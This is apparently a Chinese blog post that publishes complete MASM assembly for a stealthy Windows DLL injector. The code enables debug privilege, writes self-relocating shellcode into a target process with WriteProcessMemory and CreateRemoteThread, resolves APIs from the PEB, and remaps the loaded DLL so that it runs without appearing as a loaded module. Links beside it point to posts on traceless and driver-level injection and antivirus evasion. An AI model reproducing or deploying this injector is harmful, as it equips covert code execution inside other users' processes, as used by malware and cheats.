注射的一个完整代码

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情
说明:下面代码是基本的注射,执行的代码在test_dll.dll里
test_dll.dll在进程加载后重定位的PE镜像复制一个临时空间,然后FreeLibrary,再从临时空间把镜像复制到原空间,这样实现无DLL
.386
.MODEL flat,stdcall
OPTION CASEMAP:NONE

Include windows.inc
Include user32.inc
Include kernel32.inc
include advapi32.inc
include masm32.inc

IncludeLib user32.lib
IncludeLib kernel32.lib
includeLib advapi32.lib
includelib masm32.lib

include macros.asm

.code

;提高权限
DebugPrivilege proc bEnable:BOOL
    local hToken : HANDLE
    local tp : TOKEN_PRIVILEGES
    push ebx
    invoke GetCurrentProcess
    mov ebxeax
    invoke OpenProcessToken, ebx, TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES, ADDR hToken
    .if eax!=NULL
        mov tp.PrivilegeCount, 1
        .if bEnable
            mov tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
        .else
            mov tp.Privileges[0].Attributes,0
        .endif
        invoke LookupPrivilegeValue,NULL,CTXT("SeDebugPrivilege"),addr tp.Privileges[0].Luid
        .if eax!=NULL            
            invoke AdjustTokenPrivileges,hToken,FALSE,addr tp,sizeof TOKEN_PRIVILEGES,NULL,NULL
        .endif
        invoke CloseHandle,hToken
    .endif
    pop ebx
    Ret
DebugPrivilege EndP

;获取目标服务进程pid
GetPid proc uses edx ebx
    local hSCManager,schService:SC_HANDLE
    local buffer[255]:BYTE
    local pcbBytesNeeded:DWORD

    xor ebx,ebx
    mov hSCManager,NULL
    mov schService,NULL
    invoke OpenSCManager,NULL,NULL,SC_MANAGER_ALL_ACCESS
    .if eax!=NULL
        mov hSCManager,eax
        invoke OpenService,hSCManager,CTXT("ProtectedStorage"),SERVICE_ALL_ACCESS
        .if eax!=NULL
            mov schService,eax
            invoke QueryServiceStatusEx,schService,0 ,/
                addr buffer,255,addr pcbBytesNeeded
            invoke CloseServiceHandle,schService
            lea edx,buffer
            ;assume edx:ptr SERVICE_STATUS_PROCESS
            mov ebx,[edx+28]
            ;assume edx:nothing
        .endif
        invoke CloseServiceHandle,hSCManager
    .endif
    mov eax,ebx
    Ret
GetPid EndP

_ProtoGetProcAddress    typedef    proto    :dword,:dword
_ProtoLoadLibrary    typedef    proto    :dword
_ProtoVirtualAlloc    typedef proto    :dword,:dword,:dword,:dword
_ProtoFreeLibrary    typedef proto    :dword
_ProtoVirtualFree    typedef proto    :dword,:dword,:dword
_ProtoRtlCopyMemory    typedef proto     :dword,:dword,:dword

_ApiGetProcAddress    typedef    ptr    _ProtoGetProcAddress
_ApiLoadLibrary        typedef ptr _ProtoLoadLibrary
_ApiVirtualAlloc    typedef ptr _ProtoVirtualAlloc
_ApiFreeLibrary        typedef ptr _ProtoFreeLibrary
_ApiVirtualFree        typedef ptr _ProtoVirtualFree

REMOTE_CODE_START equ this byte

hDllKernel32    dd    ?
hGhostDll    dd    ?
_GhostDllStart dd ?
hTmpDll    dd    ?
nSizeOfImage    dd ?

_GetProcAddress    _ApiGetProcAddress    ?
_LoadLibrary    _ApiLoadLibrary        ?
_VirtualAlloc     _ApiVirtualAlloc    ?
_FreeLibrary    _ApiFreeLibrary        ?
_VirtualFree    _ApiVirtualFree        ?

szLoadLibrary        db    'LoadLibraryA',0
szGetProcAddress     db    'GetProcAddress',0
szVirtualAlloc         db     'VirtualAlloc',0
szFreeLibrary         db     'FreeLibrary',0
szVirtualFree         db     'VirtualFree',0
szGhostDll            db     'test_dll.dll',0
szGhostDllStart        db    'GhostStart',0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 错误 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler    proc    _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

        pushad
        mov    esi,_lpExceptionRecord
        mov    edi,_lpContext
        assume    esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
        mov    eax,_lpSEH
        push    [eax + 0ch]
        pop    [edi].regEbp
        push    [eax + 8]
        pop    [edi].regEip
        push    eax
        pop    [edi].regEsp
        assume    esi:nothing,edi:nothing
        popad
        mov    eax,ExceptionContinueExecution
        ret

_SEHHandler    endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase    proc
    assume fs:flat
    push esi
    mov eax,fs:[30h]
    mov eax,[eax+0ch]
    mov esi,[eax+1ch]
    lodsd
    mov eax,[eax+8]
    pop esi
    Ret
_GetKernelBase EndP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi        proc    _hModule,_lpszApi
        local    @dwReturn,@dwStringLength

        pushad
        mov    @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
        call    @F
        @@:
        pop    ebx
        sub    ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
        assume    fs:nothing
        push    ebp
        lea    eax,[ebx + offset _Error]
        push    eax
        lea    eax,[ebx + offset _SEHHandler]
        push    eax
        push    fs:[0]
        mov    fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
        mov    edi,_lpszApi
        mov    ecx,-1
        xor    al,al
        cld
        repnz    scasb
        mov    ecx,edi
        sub    ecx,_lpszApi
        mov    @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
        mov    esi,_hModule
        add    esi,[esi + 3ch]
        assume    esi:ptr IMAGE_NT_HEADERS
        mov    esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
        add    esi,_hModule
        assume    esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
        mov    ebx,[esi].AddressOfNames
        add    ebx,_hModule
        xor    edx,edx
        .repeat
            push    esi
            mov    edi,[ebx]
            add    edi,_hModule
            mov    esi,_lpszApi
            mov    ecx,@dwStringLength
            repz    cmpsb
            .if    ZERO?
                pop    esi
                jmp    @F
            .endif
            pop    esi
            add    ebx,4
            inc    edx
        .until    edx >=    [esi].NumberOfNames
        jmp    _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
        sub    ebx,[esi].AddressOfNames
        sub    ebx,_hModule
        shr    ebx,1
        add    ebx,[esi].AddressOfNameOrdinals
        add    ebx,_hModule
        movzx    eax,word ptr [ebx]
        shl    eax,2
        add    eax,[esi].AddressOfFunctions
        add    eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
        mov    eax,[eax]
        add    eax,_hModule
        mov    @dwReturn,eax
_Error:
        pop    fs:[0]
        add    esp,0ch
        assume    esi:nothing
        popad
        mov    eax,@dwReturn
        ret

_GetApi        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

RemoteCodeEntry proc
    pushad
    ;重定位    
    call    @F
    @@:
    pop    ebx
    sub    ebx,offset @B
    
    ;获取Kernel32.dll基址
    call _GetKernelBase 
    mov    [ebx+hDllKernel32],eax
    
    ;获取GetProcAddress入口
    mov    [ebx+hDllKernel32],eax
    lea    eax,[ebx+szGetProcAddress]
    invoke    _GetApi,[ebx+hDllKernel32],eax
    mov [ebx+_GetProcAddress],eax
    
    ;获取LoadLibrary入口
    lea eax,[ebx+szLoadLibrary]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_LoadLibrary],eax
    
    ;获取VirtualAlloc入口
    lea eax,[ebx+szVirtualAlloc]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_VirtualAlloc],eax
    
    ;获取FreeLibrary入口
    lea eax,[ebx+szFreeLibrary]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_FreeLibrary],eax
    
    ;获取VirtualFree入口
    lea eax,[ebx+szVirtualFree]
    invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
    mov [ebx+_VirtualFree],eax
        
    ;加载ghost
    lea eax,[ebx+szGhostDll]
    invoke [ebx+_LoadLibrary],eax
    mov [ebx+hGhostDll],eax
    
    ;获取DLL PE镜像大小
    mov eax,[ebx+hGhostDll]
    add eax,[eax+3ch]
    assume eax:ptr IMAGE_NT_HEADERS
    mov eax,[eax].OptionalHeader.SizeOfImage
    mov [ebx+nSizeOfImage],eax
    
    ;获取GhostDllStart入口
    lea eax,[ebx+szGhostDllStart]
    invoke [ebx+_GetProcAddress],[ebx+hGhostDll],eax
    mov [ebx+_GhostDllStart],eax    
        
    ;重定位后的代码复制到临时空间
    invoke [ebx+_VirtualAlloc],0,[ebx+nSizeOfImage],/
              MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [ebx+hTmpDll],eax
    cld
    mov esi,[ebx+hGhostDll]
    mov edi,eax
    mov ecx,[ebx+nSizeOfImage]
    rep movsb
    invoke [ebx+_FreeLibrary],[ebx+hGhostDll]

    ;重新加载
    invoke [ebx+_VirtualAlloc],[ebx+hGhostDll],[ebx+nSizeOfImage],/
        MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [ebx+hGhostDll],eax
    cld
    mov esi,[ebx+hTmpDll]
    mov edi,eax
    mov ecx,[ebx+nSizeOfImage]
    rep movsb
    
    invoke [ebx+_VirtualFree],[ebx+hTmpDll],[ebx+nSizeOfImage],MEM_DECOMMIT
    
    call [ebx+_GhostDllStart]
    popad
    Ret
RemoteCodeEntry EndP

REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
;注射ghost.dll
InjectGhost proc
    local @pRemoteCode
    local @hProcess,hThread:HANDLE
    local path[260]:CHAR
    local @pid,cb,pfnThreadRtn,@dwTmp:DWORD    
    
    ;查找对象pid
    invoke FindWindow,NULL,CTXT("Simple Dialog")
    mov @dwTmp,eax
    invoke GetWindowThreadProcessId,@dwTmp,addr @pid
    ;创建远程线程
    ;invoke DebugPrivilege,TRUE
    invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,/
        FALSE,@pid
    .if eax!=NULL
        mov @hProcess,eax
        invoke VirtualAllocEx,@hProcess,NULL,REMOTE_CODE_LENGTH,/
            MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
        .if eax
            mov @pRemoteCode,eax
            invoke WriteProcessMemory,@hProcess,@pRemoteCode,/
                offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
            mov eax,@pRemoteCode
            add eax,offset RemoteCodeEntry-offset REMOTE_CODE_START
            invoke CreateRemoteThread,@hProcess,NULL,0,eax,0,0,NULL
            invoke CloseHandle,eax
        .endif
        invoke CloseHandle,@hProcess
    .endif
        
    Ret
InjectGhost EndP

Start:
    invoke InjectGhost
    exit
End Start
应用层无痕注入Dll 代码】应用层无痕注入Dll。 阅读详情

相关推荐

实现护士工作站的注射室管理功能的代码(十六)

实现护士工作站的注射室管理功能的代码(十六) 3.3护士工作站 3.3.1注射室管理 所谓的注射室是病人领取药水时护士进行药水的注射。或者是一些如洗胃泪道冲洗等只能时护士做的都要到注射室。这里是根据用药方式判断每一种药品是否经过注射室,如果是口服、擦拭的药品处方明细信息不会显示,处方明细只显示需要护士帮忙的药品。一开始窗体显示的全是紫色的已收款带执行的单据。当点击“查询全部注射单”按钮是左边

广信—李诗婷的博客 1696

内存注入dll 无痕

内存中 注入dll 需要黑月编译 任何32位进程

注射泵精度测试

注射泵精度测试,喇叭曲线,流速曲线

tcitcitci的博客 2653

驱动级dll注入源码

这个可是非常好的源码 没有使用任何模块 放心下载 绝对不留后门,不修改IE,卸载dll一直有点小问题,希望大家多交流

无痕注入dll_如何在R3尽量完美的隐藏一个DLL

哈哈哈专栏开通啦!咳咳..这个专栏主要写一些和安全开发的东西,需要一定的相关知识,并且不(定期)更新,恩,就这样主要是前几天群里师傅提出了这个问题,所以就去实现下,现将操作记录与此0x01 从加载开始要注入一个DLL的方法很多,但是我们希望一切在Exe知道之前就能完成(这样最不容易被发现对不),所以NTCreateThread和置换Dll就显得不好使了NTCreateThread创建线程的时间靠后...

weixin_39669761的博客 2604

无痕驱动读写注入EAC BE

无痕驱动读写注入

qq_20077197的博客 7432

注射模具设计和新型注射成型技术

塑料注射模具是现在所有塑料模具中使用最广的模具,能够成型复杂的高精度的塑料制品。下面只是粗略介绍一下。 设计塑料注射模具首先要对塑料有一定的了解,塑料的主要成分是聚合物。如我们常说的ABS 塑料便是丙烯腈、丁二烯、苯乙烯三种单体采用乳液、本体或悬浮聚合法生产,使其具有三种单体的优越性能和可模塑性,在一定的温度和压力下注射到模具型腔,产生流动变形,获得型腔形状,保压冷却后顶出成塑料产品。聚合物的分子一般呈链状结构,线型分子链和支链型分子认为是热塑性塑料,可反复加热冷却加工,而经过加热多个分子发生交联反应,连结

机械 模具 数控 夹具 车辆 PLC 土木 采矿 水利 暖通 食品 化工 ……设计 1125

泡沫注射成型、气体辅助注射成型两种技术区别

*泡沫注射成型(FAM)

m0_57407372的博客 1010

肌肉注射和静脉注射的区别有哪些

而肌肉注射则是将药液注入肌肉组织,通常在臀部等选用肌肉较厚的部位。肌肉注射也可以在上臂的三角肌进行,但药物起效较慢。2. 注射药物:静脉注射主要用于需要通过血液运输的药物、X光血管造影等诊断性治疗和静脉营养治疗。肌肉注射适用于多种药物的注射,如抗生素等刺激性较强、药量较大的药物。静脉注射通常打在四肢的静脉上,使用的针管最大,注射前要扎止血带。肌肉注射的不良反应较少,一般有出血和坐骨神经损伤等。肌肉注射与静脉注射的区别主要有以下几种。福建医科大学附属第一医院。潘敦副主任医师普通外科。三甲 | 全国第84。

qq_15963745的博客 1468

注射式攻击的原理

对于Web应用来说,注射式攻击由来已久,攻击方式也五花八门,常见的攻击方式有SQL注射、命令注射以及新近才出现的XPath注射等等。本文将以SQL注射为例,在源码级对其攻击原理进行深入的讲解。 一、注射式攻击的原理 注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为。 ...

天空之城 565

注射成型、注塑成型两者之间有区别吗

注射成型(Injection Molding)和注塑成型(Injection Molding)本质上是同一工艺,只是在某些语境下有所区别。泡沫注射成型(FAM)和气体辅助注射成型(GAIM)是注射成型技术中的两种特殊变种,通常也被统称为注射成型。

m0_57407372的博客 1357

常规发泡注射成型、微孔注射成型区别与联系

常规发泡注射成型与微孔注射成型的区别和联系。

m0_57407372的博客 893

自动注射注射时间模型开发

本文提出一种基于物理原理的数学模型,用于准确预测自动注射器的注射时间。通过蒙特卡洛模拟和敏感性分析,量化关键参数如粘度、柱塞力和活塞摩擦的影响,并结合实验验证模型准确性。结果显示,建模误差小于12%,具备高置信度预测能力,支持装置开发中的统计分析与设计优化。

g5h6i7j的博客 877

CT与MRI造影剂注射器需求解析

本文综述了CT和MRI造影剂注射器的技术需求,指出当前设备功能过剩导致复杂性、成本和风险增加。CT注射需精确时序和多相控制,而MRI注射则对时间不敏感,适合简化设计。强调应开发轻便、安全、低成本且易于操作的专用系统,以提升患者安全并降低医疗支出。

pz8901234的博客 1033

肌肉注射(屁股针)、静脉注射(吊水、打点滴)、皮下注射、皮内注射(皮试)的适用场景

药物注射方式主要有四种:肌肉注射(如屁股针)、皮内注射(如皮试)、皮下注射(如胰岛素)和静脉注射(如吊水)。肌肉注射适合大剂量药物和疫苗,药物吸收较慢;皮内注射便于观察过敏反应;皮下注射操作简单,适合长期用药;静脉注射则起效最快。不同注射方式各有优缺点,需根据药物特性和治疗需求选择。

专注于计算机研发知识和资讯分享 770

基于单片机的智能注射泵控制系统设计与Proteus仿真

Proteus是英国Labcenter Electronics公司开发的一款电路仿真与PCB设计软件,它能够在计算机上模拟电子电路的运作,提供了一个虚拟的工作环境。Proteus软件的主要功能包括:- 支持各种电子元件的仿真,如电阻、电容、二极管、晶体管、微控制器等。- 允许设计原理图并进行仿真测试。- 提供多种类型的微控制器模型,包括8051系列、AVR、PIC和ARM等。- 能够进行虚拟示波器、逻辑分析仪、信号发生器等多种仪器的仿真。

weixin_32747681的博客 1185

机械设计实践:多格盒注射模具的完整开发流程

本文还有配套的精品资源,点击获取 简介:该毕业设计项目要求学生综合运用机械原理、材料科学、模具设计以及注塑成型工艺等领域的知识,完成一个多格盒注射模具的设计与制作。项目着重于模具设计的各个环节,包括分型面、浇口布局、冷却系统和顶出机制等,以确保制品质量与生产效率。文件包含了设计报告、教师评语、评价标准、任务要求、答辩记录和图纸等,这些都详尽地记录了从理论分析到实践操作的整个...

weixin_32098457的博客 1775

电器外壳注射模设计项目实战

本文还有配套的精品资源,点击获取 简介:《电器外壳注射模设计》是一项针对机电工程的专业设计学习材料,包括CAD图纸和文献翻译,旨在深入理解电器外壳的制造过程。该学习资源覆盖模具设计、PLC控制和机床操作等关键知识点,帮助学习者掌握从理论到实践的全过程。通过学习,学生将能够设计出完整的电器外壳注射模,同时提升机械原理、材料科学和流体力学的应用能力,确保设计质量符合标准。 ...

weixin_36487018的博客 756

滑塞注射模具设计

本制件的质量为1.08g,四腔的总质量为4.32g,加上浇注系统的质量,共大约6g。分型面选择是否合理对于塑件质量,模具制造与使用性能均有很大影响,它决定了模具的结构形式,是模具设计工作中的重要环节。模具设计时应根据制品的结构形状,尺寸精度,浇注系统形式,推出形式,排气方式及制造工艺等各种因素,全面考虑,合理选择。一副模具可以有一个一个以上的分型面,常见单分型面模具只有一个与开模运动方向垂直的分型面。10.3.2 模具的长度与宽度……5.1.1 凹模(下型腔板)5.1.2 凸模(上型腔板)

毕业作品网站 1125
上一篇: pe代码注射
下一篇: 免杀跟过主动防御
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值